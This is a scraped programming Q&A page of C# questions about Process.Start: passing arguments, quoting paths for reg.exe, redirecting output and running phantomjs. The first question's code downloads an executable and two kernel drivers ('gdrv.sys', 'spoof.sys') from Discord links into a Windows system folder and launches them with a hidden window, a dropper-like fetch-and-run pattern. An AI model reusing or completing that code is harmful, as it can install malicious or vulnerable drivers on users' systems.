Why can't I put 3 variables in process start? [duplicate] - c#

This question already has answers here:
How to pass multiple arguments to a newly created process in C# .net?
(2 answers)
Closed 1 year ago.
This is my code
process = Process.Start(text, text2 + text3);
or
process = Process.Start(text, text2, text3);
I want to be able to open these text2 and text3 with the exe
however its not working please help ive tried for hours but i think im just dumb
WebClient webClient = new WebClient();
string text = "C:\\Windows\\IME\\frAQBc8W.exe";
string text2 = "C:\\Windows\\IME\\gdrv.sys";
string text3 = "C:\\Windows\\IME\\spoof.sys";
webClient.DownloadFile("https://cdn.discordapp.com/attachments/8365247606747777092/8366484520987655168/gdrv.sys", text2);
webClient.DownloadFile("https://cdn.discordapp.com/attachments/8365247056747777092/8366484521621191390/spoof.sys", text3);
webClient.DownloadFile("https://cdn.discordapp.com/attachments/8365124706747777092/83664844808205321153/frAQBc8tt.exe", text);
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.UseShellExecute = true;
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process = Process.Start(text, text2 + text3);

The first thing I noticed is that when you reassign process in the last line of code, it throws away all the previous lines where you were modifying the StartInfo properties. Since you've already gone to the trouble of setting them, you could just call process.Start() (without any assignment).
As for your question, if you want to start a process and pass it two arguments, then you could modify StartInfo as you were doing, except use "hello.exe" for the file name and set "world.sys earth.sys" as the value for process.StartInfo.Arguments:
Process process = new Process();
process.StartInfo.FileName = "hello.exe";
process.StartInfo.Arguments = "world.sys earth.sys";
process.StartInfo.UseShellExecute = true;
process.StartInfo.CreateNoWindow = true;
process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start();
Or if you don't need to set all those additional StartInfo properties, you could just use the constructor that was built for taking a process name and its arguments: Start (string fileName, string arguments);.
Since you've stated that the typical command line is: hello.exe world.sys earth.sys, then we'd pass hello.exe as the first argument (and include the full path to the executable if it's not in the path environment variable already), followed by the string "world.sys earth.sys".
In code it might look like:
var process = Process.Start(#"c:\temp\hello.exe", "world.sys earth.sys");
You could also combine these two options by setting the StartInfo properties (except for FileName and Arguments), and then call the Start method with the arguments above.

Related

Other way to put a path in quotes when using DirectoryInfo?

I'm currently working with reg.exe and I'm creating a process with reg.exe as the Process.FileName.
When I try to execute reg.exe like following
REG EXPORT HKLM\\SOFTWARE\\Intel\\IntelAMTUNS D:\\Backups\\Test.reg
everthing works fine.
But as soon as I try to execute it like this
REG EXPORT HKLM\\SOFTWARE\\Intel\\IntelAMTUNS D:\\Backups\\Backup folder 1\\Test.reg
nothing happens - and I know why! The target path isn't put in quotes. As soon as I do that everything works fine again.
My problem now is that I'm handling all my file and folder paths as instances of DirectoryInfo. When I pass the path with quotes as a string, e.g. like that
DirectoryInfo targetFolder = new DirectoryInfo("\"D:\\Backups\\Backup folder 1\\Test.reg\"")
I instantly receive an exception telling me that the given path's format is not supported.
Is there any way to put the path in quotes and still work with DirecotryInfo?
I really need to put my path in quotes - otherwise the command won't work.
Here's some example code:
DirectoryInfo backupPath = new DirectoryInfo("D:\\Backups\\Backup folder 1\\Test.reg");
Process process = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName = "reg.exe";
startInfo.CreateNoWindow = true;
startInfo.Arguments = "REG EXPORT HKLM\\SOFTWARE\\Intel\\IntelAMTUNS " + backupPath.FullName;
process.StartInfo = startInfo;
process.Start();
process.WaitForExit();
When I run this code, nothing happens - nor errors or exceptions. The .reg file itself isn't created either.
When I try to run it like this
DirectoryInfo backupPath = new DirectoryInfo("\"D:\\Backups\\Backup folder 1\\Test.reg\"");
Process process = new Process();
ProcessStartInfo startInfo = new ProcessStartInfo();
startInfo.FileName = "reg.exe";
startInfo.CreateNoWindow = true;
startInfo.Arguments = "REG EXPORT HKLM\\SOFTWARE\\Intel\\IntelAMTUNS " + backupPath.FullName;
process.StartInfo = startInfo;
process.Start();
process.WaitForExit();
I'm getting a System.NotSupportedException telling me "The given path's format is not supported." But I actually need to put the path in quotes - otherwise the command itself won't work...
You are adding quotes in the wrong place: constructor of DirectoryInfo will strip them anyway to normalize the path, so you can skip adding them:
var backupPath = new DirectoryInfo("D:\\Backups\\Backup folder 1\\Test.reg");
You can force quotes around the path when you add backupPath.FullName to the arguments, like this:
startInfo.Arguments = "REG EXPORT HKLM\SOFTWARE\Intel\IntelAMTUNS \"" + backupPath.FullName + "\"";

"The system cannot find the file specified" error on process.Start();

I am trying to get the process respond as a string so I can use it in different place in my code, this is the solution that I have so far:
const string ex1 = #"C:\Projects\MyProgram.exe ";
const string ex2 = #"C:\Projects\ProgramXmlConfig.xml";
Process process = new Process();
process.StartInfo.WorkingDirectory = #"C:\Projects";
process.StartInfo.FileName = "MyProgram.exe ";
process.StartInfo.Arguments = ex2;
process.StartInfo.Password = new System.Security.SecureString();
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
try
{
process.Start();
StreamReader reader = process.StandardOutput;
string output = reader.ReadToEnd();
}
catch (Exception exception)
{
AddComment(exception.ToString());
}
But when I'm running this I get:
"The system cannot find the file specified" error in process.Start(); without
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
The code runs fine but it just open console window and all the process response is trow there so I can't use it as string.
Does anyone know why I am getting this error or maybe a different solution to my problem?
I suspect the problem is that the filename you're specifying is relative to your working directory, and you're expecting Process.Start to look there when starting the process - I don't believe it works that way when UseShellExecute is false. Try just specifying the absolute filename of the process you want to start:
process.StartInfo.FileName = #"C:\Projects\MyProgram.exe";
Note that I've also removed the space from the end of the string you were assigning for the FileName property - it's entirely possible that was casuing the problem too.
For System32 access if you are trying to RUN an x86 Application on x64 then you must use the "Sysnative" keyword instead of "System32" in your filename.
EG: instead of:
C:\Windows\System32\whoiscl.exe
It should be:
C:\Windows\Sysnative\whoiscl.exe
Hope this helps someone

Running Phantomjs using C# to grab snapshot of webpage

I'm trying to grab snapshots of my own website using phantomjs - basically, this is to create a "preview image" of user-submitted content.
I've installed phantomjs on the server and have confirmed that running it from the command line against the appropriate pages works fine. However, when I try running it from the website, it does not appear to do anything. I have confirmed that the code is being called, that phantom is actually running (I've monitored the processes, and can see it appear in the process list when I call it) - however, no image is being generated.
I'm not sure where I should be looking to figure out why it won't create the images - any suggestions? The relevant code block is below:
string arguments = "/c rasterize.js http://www.mysite.com/viewcontent.aspx?id=123";
string imagefilename = #"C:\inetpub\vhosts\mysite.com\httpdocs\Uploads\img123.png";
Process p = new Process();
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.CreateNoWindow = false;
p.StartInfo.FileName = #"C:\phantomjs.exe";
p.StartInfo.Arguments = arguments + " " + imagefilename;
p.Start();
string output = p.StandardOutput.ReadToEnd();
p.WaitForExit();
I check the errors that phantomjs throws during its process.
You can read them from Process.StandardError.
var startInfo = new ProcessStartInfo();
//some other parameters here
...
startInfo.RedirectStandardError = true;
var p = new Process();
p.StartInfo = startInfo;
p.Start();
p.WaitForExit(timeToExit);
//Read the Error:
string error = p.StandardError.ReadToEnd();
It will give you an idea of what happened
The easiest way for executing phantomjs from C# code is using wrapper like NReco.PhantomJS. The following example illustrates how to use it for rasterize.js:
var phantomJS = new PhantomJS();
phantomJS.Run( "rasterize.js", new[] { "https://www.google.com", outFile} );
Wrapper API has events for stdout and stderr; also it can provide input from C# Stream and read stdout result into C# stream.

command prompt c# [duplicate]

This question already has answers here:
Closed 10 years ago.
Possible Duplicate:
Redirect Standard Output Efficiently in .NET
Capturing console output from a .NET application (C#)
I know how to execute something like this:
SomeEXE inputfile.txt
in the command prompt via C#.
The problem I am having is that SomeEXE opens another command prompt where it writes the outputs given inputfile.txt.
Is it generally possible to obtain these outputs? Thanks.
Here is my current code:
System.Diagnostics.Process process = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/C SomeEXE inputfile.txt";
startInfo.UseShellExecute = false;
startInfo.RedirectStandardOutput = true;
process.StartInfo = startInfo;
process.Start();
// Now use streams to capture the output
StreamReader outputReader = process.StandardOutput;
process.WaitForExit();
String line = outputReader.ReadToEnd();
ProcessStartInfo processStartInfo = new processStartInfo("SomeEXE", "inputfile.txt");
processStartInfo.UseShellExecute = false;
processStartInfo.ErrorDialog = false;
// Here is where you grab the output:
processStartInfo.RedirectStandardOutput = true;
Process process = new Process {
StartInfo = processStartInfo
};
process.Start();
// Now use streams to capture the output
StreamReader outputReader = process.StandardOutput;
process.WaitForExit();
Now you can read the outputStream as necessary.
I am guessing this is what you mean. Also, here are the docs on RedirectStandardOutput
Also, if you know the path to the file that was generated (assuming the SomeEXE wrote to another file) you can use File.Open to access its contents after SomeEXE has executed (remember to wait until after otherwise SomeEXE may still have a handle on the file making it difficult to read it).

How can I grab the response of a command issued using cmd.exe in a Process? [duplicate]

This question already has an answer here:
Closed 10 years ago.
Possible Duplicate:
Command prompt output being read as empty string
I have a command line program which must be executed at least once before my code can do it's groovy thang. So I use Process to run it. This appears to work.
My problem lies in the fact that I'd like to be able to see what the program says as it completes. In some situations it may return an error, which would require user intervention before proceeding. On paper, this seems trivial. Sadly, my code (below) does not seem to work:
Process p = new Process();
ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.CreateNoWindow = true;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = String.Format("/C adb forward tcp:{0} tcp:5574",port.ToString());
startInfo.RedirectStandardOutput = true;
startInfo.UseShellExecute = false;
p.StartInfo = startInfo;
p.Start();
string adbResponse = p.StandardOutput.ReadToEnd();
p.WaitForExit();
if (adbResponse.Contains("error"))
{
// Device not connected - complain loudly
}
When I try doing this on a CMD window of my own creation, I am able to reliably induce a response containing the word error. (Specifically by unplugging something.) Under the same conditions however, the adbResponse string remains empty. What am I missing?
Console-attached processes have two different output streams. You are trapping StandardOutput but you probably want to be catching StandardError. See this question for a complete explanation (and code to safely capture both without deadlocking):
Command prompt output being read as empty string
Try something like that:
p.StartInfo.RedirectStandardOutput = true;
//p.WaitForExit();
StringBuilder value = new StringBuilder();
while ( ! p.HasExited ) {
value.Append(p.StandardOutput.ReadToEnd());
}
string result = value.ToString();

Categories